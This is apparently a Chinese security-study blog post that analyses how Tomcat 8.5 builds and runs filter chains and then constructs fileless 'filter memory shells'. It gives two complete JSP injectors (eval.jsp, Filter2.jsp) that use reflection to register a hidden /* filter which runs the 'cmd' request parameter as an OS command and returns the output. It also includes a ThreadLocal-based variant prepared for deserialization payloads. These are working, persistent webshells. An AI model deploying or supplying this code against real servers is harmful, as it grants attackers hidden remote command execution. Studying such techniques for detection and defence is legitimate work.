环境搭建
tomcat8.5.78
Maven Repository: org.apache.tomcat » tomcat-catalina » 8.5.78 (mvnrepository.com)
具体环境搭建参考Tomcat内存马系列(一):Filter型 | Leihehe - Blog
简单说就是新建->选择web application->编辑配置里面选择tomcat local,(我选的是tomcat8.5.78)->去Project struction里面把tomcat的jar包一个一个全部导入
测试的代码
TestServlet.java
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
TestFilter.java
import javax.servlet.*;
import java.io.IOException;
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("这是初始化信息");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//执行过滤操作
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <!-- filter标签的内容将被存入FilterDef类 -->
<filter-name>testFilter</filter-name>
<filter-class>TestFilter</filter-class>
</filter>
<filter-mapping><!-- filter标签的内容将被存入FilterMap类 -->
<filter-name>testFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
</web-app>
有上面这个说明tomcat成功,下面说明fileter起作用了
web.xml的解析&Context从何而来
ContextConfig
web.xml中存放着filter相关的配置,它必然会被解析读取。web.xml文件里解析出来的内容由Tomcat中的WebXml类来存储。
在监听到Lifecycle.CONFIGURE_START_EVENT事件后,WebXml将自身的存储的信息注入到Context中。
具体流程如下:
- ContextConfig监听到Lifecycle.CONFIGURE_START_EVENT事件发生
- ContextConfig调用自身的
configureStart()
方法, 再调用webConfig()
,将/web.xml解析保存到web.xml中,再调用ContextConfig.configureContext(webxml)
将webxml中储存的信息注入到context中。
来看代码:
监听到事件后call到webConfig()\方法,在webConfig中解析web.xml的内容、创建**WebXml**实例。
随后调用ContextConfig.configureContext,传入刚刚创建的xml,就完成了
filter是如何从context中被添加进filterchain的
org.apache.catalina.core.StandardWrapperValve
有个invoke方法,其中有个createFilterChain
跟进去,createFilterChain方法里我们获取了context.从而在context中获取到filterMaps
这里的返回值是之前写在web.xml的
<filter-mapping><!-- filter标签的内容将被存入FilterMap类 -->
<filter-name>testFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
而下面的if语句到for语句的代码,阅读一下
大概是说在这<filter-mapping>
里面寻找到对应的名字,如果找到了,就将该Filter的filterConfig添加进filterChain里
跟进addfilter
void addFilter(ApplicationFilterConfig filterConfig) {
ApplicationFilterConfig[] newFilters = this.filters;
int var3 = newFilters.length;
for(int var4 = 0; var4 < var3; ++var4) {
ApplicationFilterConfig filter = newFilters[var4];
if (filter == filterConfig) {
return;
}
}
if (this.n == this.filters.length) {//如果n等于当前filters数组的长度,那么就给filter数组扩容
newFilters = new ApplicationFilterConfig[this.n + 10];
System.arraycopy(this.filters, 0, newFilters, 0, this.n);
this.filters = newFilters;
}
this.filters[this.n++] = filterConfig;//将filter放入的filters数组的同时,将n+1,相当于是在计数
}
filter数组被封装好了以后,它又会如何执行呢,回到刚刚org.apache.catalina.core.StandardWrapperValve的invoke
这里有个dofilter,用于执行filterchain,跟进去
纵观代码应该是internalDoFilter函数在执行filter,跟进去
然后调用到了我们写在TestFilter.java里面的doFilter()
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//执行过滤操作
filterChain.doFilter(servletRequest,servletResponse);
}
至此,我们整个filter的执行就到此结束。
总结
总结
我们来总结一下涉及到的一些Class,这里都以英文字面意思来理解比较容易。
Filter的配置是由我们手动写在web.xml文件里的,所以需要把配置取出来,封装进这个web程序的context里面,以便其它地方调用。
- ContextConfig - 专门配置Context(可以理解为存储当前web程序信息)的类。
- ContextConfig类负责监听Lifecycle.CONFIGURE_START_EVENT,也就是“配置开始”事件,监听到就会开始配置 - configureStart()。
- ConfigureStart()中会call到webConfig()方法 - \webConfig**需要先从**web.xml中把内容取出来,先创建一个WebXml类的instance.
- 用configureContext(webXml)把webXml的内容都存入当前的context。
- StandardWrapperValve - 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
- 把这个StandardWrapperValve简单理解为一个servlet,这个servlet接收到了数据,就要对数据进行过滤,要过滤就要先获取过滤规则,也就是我们的过滤器Filters
- 它利用ApplicationFilterFactory.createFilterChain()来创建一个FilterChain = 》 里面是所有匹配到的filterConfig的集合
- createFilterChain()读取了当前context,并从获取到的context中读取到了filterMaps =》 里面是所有filter的mapping的情况(见环境搭建中的web.xml文件),如果当前访问的URL匹配上了filter mapping,且在filterConfig中有其filter-name有对应的filter-class被配置,那么就将这个filterConfig添加进filterChain里面,以供使用。至此,filterChain组装完毕。
- filterChain有了,接下来就是依次去触发filter了。StandardWrapperValve执行filterChain.doFilter()开始执行chain里面的filter。
- 从chain里面获取filterConfig,再从filterConfig中获取到filter
- 最后执行filter.doFilter()
可以看出来,一个filter被执行的条件:
- 在context#filterMaps中,有和当前访问URL相匹配的url-pattern
<filter-mapping>
<filter-name>testFilter</filter-name>
<url-pattern>/test</url-pattern> <!--url要匹配-->
</filter-mapping>
-
filterConfig中需要有这个filter名字对应的class
filterConfig中不仅存放了filterDef,还存放了当时的context。filterDef对应xml中如下内容:
<filter>
<filter-name>testFilter</filter-name>
<filter-class>TestFilter</filter-class> <!--class要匹配上filter name-->
</filter>
假设我们要自己构造一个这样的符合条件的filter应该怎么做呢?
filter内存马1
eval.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
// 从 org.apache.catalina.core.ApplicationContext 反射获取 context 方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
// 判断是否存在 filterDemo 这个 filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
// 定义一些基础属性、类名、filter 名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// 添加 filterDef
standardContext.addFilterDef(filterDef);
// 创建 filterMap,设置 filter 和 url 的映射关系,可设置成单一 url 如 /xyz , 也可以所有页面都可触发可设置为 /*
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
//filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 添加我们的 filterMap 到所有 filter 最前面
standardContext.addFilterMapBefore(filterMap);
// 反射创建 FilterConfig,传入 standardContext 与 filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 将 filter 名和配置好的 filterConifg 传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>
访问
/eval.jsp
由于我的urlpartten是/*
所以任意路由下都可以使用命令
/eval.jsp../abc?cmd=id
简单分析:Filter注册流程
<! -- a. 添加Filter -->
ApplicationContext.addFilter() ->
StandardContext.addFilterDef() ->
<! -- b. 启动Filter -->
StandardContext.filterStart() ->
<! -- c. 创建FilterChain -->
ApplicationFilterFactory.createFilterChain() ->
ApplicationFilterChain.addFilter(filterConfig) ->
<! -- d . Filter执行 -->
ApplicationFilterChain.doFilter() ->
ApplicationFilterChain.internalDoFilter() ->
某个Filter.doFilter() ->
servlet.service() ->
请求过滤需要的Filter接口
访问/test,下断点filterChain.doFilter
跟进ApplicationFilterChain.internalDoFilter
来到这里
查看filter数组
而tomcat的默认配置是放在最后一个的
后面就是doFilter了
由于我们请求的是test,第一个eval.jsp的路由会在dofilter的if判断中直接return回去(就是用户输入的url和filter注册的路由是否匹配的判断),重新循环,来到n=1时就匹配到了
这时候可以进入到
ApplicationFilterChain.servlet.service
总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。
应用启动时需要的接口
- ApplicationFilterConfig
- FilterDef
- FilterMap
启动前的加载过程
- ServletContext
- ApplicationContext
- StandardContext
StandandContext 类中 filter 关键的 3 个属性和 2 个方法:
filterMaps
filterDefs
filterConfigs
addFilterDef()
填充 filterDef 对象 filterStart()
根据 filterDefs 初始化 filterConfigs
StandandContext.findFilterDef
StandandContext.addFilterDef
StandandContext.filterStart
从这里的代码可以等价理解为FilterDefs来初始化filterConfig
请求到达时的处理
StandardWrapperValve.invoke
简单分析:动态添加Filter (重要!)
-
获取standardContext
-
创建filter
-
使用filterDef封装Filter对象,将filter添加到filterDefs
-
创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中
-
使用 ApplicationFilterConfig 封装 filterDef 对象,添加到 filterConfigs 中
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
- 获取standardContext
Tomcat 在启动时会为每个 Context 都创建个 ServletContext 对象,表示一个 Context。从而可以将 ServletContext 转化为 StandardContext 。
ServletContext 通过反射构造StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
- 创建filter
直接创建一个filter实例,这时候需要重写它的三个必要的方法init 、
doFilter 、
destory
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
dofilter实现了rce+回显的功能
- 使用filterDef封装Filter对象,将filter添加到filterDefs
有了恶意类 FilterDemo 和 StandardContext 后,参照 tomcat 源代码来实现注册自定义 filter 的操作。 FilterDef 就相当于 web.xml 中的 filter :
为了之后将内存马融合进反序列化 payload 中,这里特意使用反射获取 FilterDef 对象。如果使用的是 jsp 或者是非反序列化的利用,那么可以直接使用 new 创建对象。
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
- 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中
URL就是web.xml写的路由
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());// 只支持 Tomcat 7.x 以上
standardContext.addFilterMapBefore(o1);
- 使用 ApplicationFilterConfig 封装 filterDef 对象,添加到 filterConfigs 中
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
最终获得前面的完整代码
有篇文章曾经提到
其它的context获取方法:
从线程中获取StandardContext 如果没有request对象的话可以从当前线程中获取 https://zhuanlan.zhihu.com/p/114625962
于是有了内存马2和3
filter内存马2
“从当前线程中获取StandardContext ”:
最后的路径:
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
从 ThreadLocal 中获取 StandardContext 要实现动态注册 Filter ,需要两个步骤。第一个步骤就是先达到能获取 request 和 response ,而第二个步骤是通过 request 或者 response 去动态注册 Filter
对于第一个步骤,ApplicationFilterChain
有这两个
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
如果能获取lastServiceRequest即可,看到internalDoFilter方法
那么ApplicationDispatcher.WRAP_SAME_OBJECT必须不为空,
并且对 lastServicedRequest 和 lastServicedResponse 这两个 ThreadLocal 进行初始化
首先,我们创建一个继承 AbstractTranslet(因为需要携带恶意字节码到服务端加载执行)的 TomcatEchoInject 类,在其静态代码块中 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化
package com.example.demo.filter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
/* 刚开始反序列化后执行的逻辑 */
// 修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
// 初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
// 初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
在手写exp的时候注意
由于lastServicedRequest是个final属性
所以反射的时候要把modifiers也弄上
demo
import java.lang.reflect.Field;
public class TestReflection {
public static void main(String[] args) throws Exception {
Field nameField = OneCity.class.getDeclaredField("name");
nameField.setAccessible(true); // 这个起决定作用
nameField.set(null, "Shenzhen");
System.out.println(OneCity.getName()); // 输出修改后的 Shenzhen
}
}
class OneCity {
private static String name = "Beijing";
public static String getName() {
return name;
}
}
如果修改为final属性
class OneCity {
private static final String name = "Beijing";
public static String getName() {
return name;
}
}
这时候我们要做一个更彻底的反射 — 对 Java 反射包中的类进行自我反射。 Field 对象有个一个属性叫做 modifiers , 它表示的是属性是否是 public, private, static, final 等修饰的组合。这里把这个 modifiers 也反射出来,进而把 nameField 的 final 约束也去掉了,回到了上面的状况了
简单的说就是在反射修改name的时候加上这三行
Field modifiersField = Field.class.getDeclaredField("modifiers"); //①
modifiersField.setAccessible(true);
modifiersField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL); //②
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class TestReflection {
public static void main(String[] args) throws Exception {
Field nameField = OneCity.class.getDeclaredField("name");
Field modifiersField = Field.class.getDeclaredField("modifiers"); //①
modifiersField.setAccessible(true);
modifiersField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL); //②
nameField.setAccessible(true); // 这个同样不能少,除非上面把 private 也拿掉了,可能还得 public
nameField.set(null, "Shenzhen");
System.out.println(OneCity.getName()); // 输出 Shenzhen
}
}
class OneCity {
private static final String name = "Beijing";
public static String getName() {
return name;
}
}
把原理拿来利用,这样就可以获得lastServicedRequest
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
// 不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()
动态注册filter到tomcat
参考
https://www.jianshu.com/p/cbe1c3174d41
Servlet,Listener,Filter由ServletContext去加载,无论是使用xml配置还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向Web容器中进行注册。Servlet 3.0 可以由ServletContext动态进行注册,因此需在Web容器初始化的时候(即建立ServletContext对象的时候)进行动态注册
参考了上面的文章,学到了如何在使用request获取StandardContext 的情况下去动态注册filter
文章的截图:(使用request动态注册filter)
炮制一下
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("thai", thai);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
这里由于getState已经是LifecycleState.STARING_PREP了,所以会抛出异常而不进入下面
虽然可以通过反射改getState,使其正确赋值后再改回;但由于代码中只是使用了addFilterDef
所以我们完全也可以通过反射 context 这个字段自行添加 filterDef
修改状态
// 修改状态,要不然添加不了
// 反射修改
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
filter的创建在
org.apache.catalina.core.ApplicationFilterFactory.createFilterChain
之中
可以看到,从 context 提取了 FilterMap 数组,并且遍历添加到 filterChain ,最终生效,
但是这里有两个问题
- 我们最早创建的 filter 被封装成 FilterDef 添加到了 context 的 filterDefs 中,但是 filterMaps 中并不存在 跟上述一样的问题,也不
- 存在 filterConfigs 中( context.findFilterConfig 是从 context 的 filterConfigs 中获取)
第一个问题,其实在下面代码执行 filterRegistration.addMappingForUrlPatterns 的时候已经添加进去了
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
if (dispatcherTypes != null) {
Iterator var5 = dispatcherTypes.iterator();
while(var5.hasNext()) {
DispatcherType dispatcherType = (DispatcherType)var5.next();
filterMap.setDispatcher(dispatcherType.name());
}
}
if (urlPatterns != null) {
String[] var9 = urlPatterns;
int var10 = urlPatterns.length;
for(int var7 = 0; var7 < var10; ++var7) {
String urlPattern = var9[var7];
filterMap.addURLPattern(urlPattern);
}
if (isMatchAfter) {
this.context.addFilterMap(filterMap);
} else {
this.context.addFilterMapBefore(filterMap);
}
}
}
所以写到这
// 创建一个自定义的 Filter 马
Filter threedr3am = new TomcatShellInject();
// 添加 filter 马
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter("thai", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
而第二个问题,既然没有,我们就反射加进去就行了,不过且先看看 StandardContext ,它有一个方法 filterStart
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
}
创建的顺序是根据 filterMaps 的顺序来的,那么我们就有必要去修改我们添加的 filter 顺序到第一位了,
所以
// 把 filter 插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("thai")) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
最终demo
Filter2.jsp
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.DOM" %>
<%@ page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.TransletException" %>
<%@ page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %><%--
Created by IntelliJ IDEA.
User: thai
Date: 2022/4/20
Time: 10:51
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class TomcatShellInject implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
// 初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
// 初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
out.write("init sucesess");
}
/*shell 注入,前提需要能拿到 request、response 等 */
java.lang.reflect.Field f1 = org.apache.catalina.core.ApplicationFilterChain.class
.getDeclaredField("lastServicedRequest");
f1.setAccessible(true);
ThreadLocal t = (ThreadLocal) f1.get(null);
ServletRequest servletRequest = null;
// 不为空则意味着第一次反序列化的准备工作已成功
if (t != null && t.get() != null) {
servletRequest = (ServletRequest) t.get();
}
if (servletRequest != null) {
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
org.apache.catalina.core.StandardContext standardContext = null;
// 判断是否已有该名字的 filter,有则不再添加
if (servletContext.getFilterRegistration("thai") == null) {
// 遍历出标准上下文对象
for (; standardContext == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (o instanceof org.apache.catalina.core.StandardContext) {
standardContext = (org.apache.catalina.core.StandardContext) o;
}
}
if (standardContext != null) {
// 修改状态,要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
// 创建一个自定义的 Filter 马
Filter threedr3am = new TomcatShellInject();
// 添加 filter 马
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter("thai", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
// 状态恢复,要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
// 生效 filter
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
// 把 filter 插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("thai")) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
}
out.write("inject sucess");
}
%>
访问
重写加载一下
接下来可以rce了